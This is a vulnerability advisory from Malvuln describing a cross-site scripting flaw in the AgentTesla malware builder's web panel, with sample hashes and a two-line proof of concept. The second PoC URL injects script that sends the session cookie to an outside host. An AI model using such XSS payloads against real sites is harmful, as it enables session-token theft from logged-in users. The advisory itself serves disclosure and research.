Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/db9629508fda139f71f625d764c7eff7.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: AgentTesla Builder Web Panel
Vulnerability: Cross Site Scripting (XSS)
Description: AgentTeslaBuilder WebUI uses "ionCube" to encode and protect its PHP code. AgentTesla panel users who visit a third-party attacker website or click an infected link, can trigger arbitrary client side JS code execution in the security context of the currently logged on user. This can result in PHPSESSID token, data theft or GEO location disclosure of the user accessing the AgentTesla panel.
Type: WebUI
MD5: db9629508fda139f71f625d764c7eff7 (Agent Tesla.exe)
MD5: 978509c2a3d051b43e53bba1436b7076 (login.php)
Vuln ID: MVID-2022-0454
Disclosure: 01/16/2022
Exploit/PoC:
1) http://AGENT-TESLA-IP/AgentTeslaBuilder/?page=get-log&id=&title=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
2) http://AGENT-TESLA-IP/AgentTeslaBuilder/?page=get-log&id=&title="/%3E%3Cscript%3Cwindow.open("https://www.malvuln.com/stealtokens="%2bdocument.cookie)%3C/script%3E
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).